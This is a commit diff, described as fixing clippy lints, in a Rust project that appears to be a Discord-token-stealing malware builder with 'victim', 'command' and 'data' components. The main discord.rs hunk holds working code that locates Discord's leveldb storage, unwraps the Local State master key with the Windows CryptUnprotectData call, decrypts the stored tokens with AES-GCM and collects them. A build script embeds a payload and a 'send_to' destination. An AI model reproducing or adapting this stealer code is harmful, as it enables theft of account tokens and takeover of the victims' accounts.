~/hooky

df6fb4e96421d9a1d45be222de20bbdb6cdccd41 — Arthur Melton 5d4cfa1e 2 years ago
fix all of cargo clippy issues
A 1 +4 -0
@@ 0,0 1,4 @@

info: component 'rust-std' for target 'x86_64-pc-windows-gnu' is up to date
error: toolchain 'nightly-x86_64-unknown-linux-gnu' does not contain component 'rust-std' for target '2'
note: not all platforms have the standard library pre-compiled: https://doc.rust-lang.org/nightly/rustc/platform-support.html
help: consider using `cargo build -Z build-std` instead

A check_all.sh +21 -0
@@ 0,0 1,21 @@

#!/bin/sh

set -xe

runs=("x86_64-pc-windows-gnu" "x86_64-unknown-linux-gnu")

for i in ${runs[@]}
do
    rustup target add $i &> /dev/null
done

cd command
cargo clippy --all-features $(printf -- "--target %s " ${runs[@]})
cd src-tauri
cargo clippy --all-features $(printf -- "--target %s " ${runs[@]})
cd ../../config
cargo clippy --all-features $(printf -- "--target %s " ${runs[@]})
cd ../data
cargo clippy --all-features $(printf -- "--target %s " ${runs[@]})
cd ../victim
payload="../build.rs" cargo clippy --all-features $(printf -- "--target %s " ${runs[@]})

M command/src-tauri/src/main.rs => command/src-tauri/src/main.rs +1 -1
@@ 53,7 53,7 @@ fn gen(features: Vec<String>, mut payload: Option<String>, send_to: String) {

        }
        Command::new("cargo")
            .args(args)
            .current_dir(&path.display().to_string())
            .current_dir(path.display().to_string())
            .output()
            .expect("failed to execute process");


M data/src/all_data/discord.rs => data/src/all_data/discord.rs +49 -52
@@ 21,61 21,58 @@ impl Sends {

            for x in &[i, "Local Storage", "leveldb"] {
                path.push(x);
            }
            match fs::read_dir(path.clone()) {
                Ok(x) => {
                    for ldb in x {
                        let path_ldb = ldb.ok()?.path();
                        if path_ldb.extension() == Some(OsStr::new("ldb")) {
                            let contents = fs::read(path_ldb).ok()?;
                            let re = Regex::new("dQw4w9WgXcQ:([^\"]*)").ok()?;
                            let caps = re.captures(&contents)?;
                            let asm = base64::decode(&caps[1]).ok()?;
                            path.pop();
                            path.pop();
                            path.push("Local State");
                            let local_state = fs::read_to_string(path.clone()).ok()?;
                            let local_state: Value = serde_json::from_str(&local_state).ok()?;
                            let mut key =
                                base64::decode(local_state["os_crypt"]["encrypted_key"].as_str()?)
                                    .ok()?;
                            let key = &mut key[5..];
                            let mut data_in = CRYPTOAPI_BLOB {
                                cbData: key.len() as u32,
                                pbData: key.as_mut_ptr(),
                            };
                            let mut data_out = CRYPTOAPI_BLOB {
                                cbData: 0,
                                pbData: null_mut(),
                            };
                            let master_key;
                            unsafe {
                                CryptUnprotectData(
                                    &mut data_in,
                                    null_mut(),
                                    null_mut(),
                                    null_mut(),
                                    null_mut(),
                                    0,
                                    &mut data_out,
                                );
                                master_key = slice::from_raw_parts(
                                    data_out.pbData,
                                    data_out.cbData as usize,
                                )
                                .to_vec();
                                LocalFree(data_out.pbData as *mut c_void);
                            }
                            let iv = &asm.clone()[3..15];
                            let payload = &asm.clone()[15..];
                            let cipher = Aes256Gcm::new_from_slice(&master_key).ok()?;
                            let decrypted = cipher.encrypt(Nonce::from_slice(iv), payload);
                            let token = decrypted.ok()?;
                            let token = token.split(|y| *y == 249).collect::<Vec<_>>()[0];
                            self.discord_token.push(String::from_utf8(token.to_vec()).ok()?);
            if let Ok(x) = fs::read_dir(path.clone()) {
                for ldb in x {
                    let path_ldb = ldb.ok()?.path();
                    if path_ldb.extension() == Some(OsStr::new("ldb")) {
                        let contents = fs::read(path_ldb).ok()?;
                        let re = Regex::new("dQw4w9WgXcQ:([^\"]*)").ok()?;
                        let caps = re.captures(&contents)?;
                        let asm = base64::decode(&caps[1]).ok()?;
                        path.pop();
                        path.pop();
                        path.push("Local State");
                        let local_state = fs::read_to_string(path.clone()).ok()?;
                        let local_state: Value = serde_json::from_str(&local_state).ok()?;
                        let mut key =
                            base64::decode(local_state["os_crypt"]["encrypted_key"].as_str()?)
                                .ok()?;
                        let key = &mut key[5..];
                        let mut data_in = CRYPTOAPI_BLOB {
                            cbData: key.len() as u32,
                            pbData: key.as_mut_ptr(),
                        };
                        let mut data_out = CRYPTOAPI_BLOB {
                            cbData: 0,
                            pbData: null_mut(),
                        };
                        let master_key;
                        unsafe {
                            CryptUnprotectData(
                                &mut data_in,
                                null_mut(),
                                null_mut(),
                                null_mut(),
                                null_mut(),
                                0,
                                &mut data_out,
                            );
                            master_key = slice::from_raw_parts(
                                data_out.pbData,
                                data_out.cbData as usize,
                            )
                            .to_vec();
                            LocalFree(data_out.pbData as *mut c_void);
                        }
                        let iv = &asm.clone()[3..15];
                        let payload = &asm.clone()[15..];
                        let cipher = Aes256Gcm::new_from_slice(&master_key).ok()?;
                        let decrypted = cipher.encrypt(Nonce::from_slice(iv), payload);
                        let token = decrypted.ok()?;
                        let token = token.split(|y| *y == 249).collect::<Vec<_>>()[0];
                        self.discord_token.push(String::from_utf8(token.to_vec()).ok()?);
                    }
                }
                Err(_) => {}
            }
        }
        Some(())

M victim/build.rs => victim/build.rs +1 -1
@@ 11,7 11,7 @@ fn main() {

        .expect("Unable to read the file");
    let config: Config = toml::from_str(&contents).expect("Cant convert to toml");
    if let Some(payload) = config.payload {
        println!("cargo:rustc-env=payload={}", payload);
        println!("cargo:rustc-env=payload={payload}");
    }
    println!("cargo:rustc-env=send_to={}", config.send_to);
}

M victim/src/payload.rs => victim/src/payload.rs +2 -0
@@ 1,5 1,7 @@

use std::io::Write;
use std::process::Command;
    
#[cfg(not(target_os = "windows"))]
use tempfile::NamedTempFile;

#[cfg(target_os = "windows")]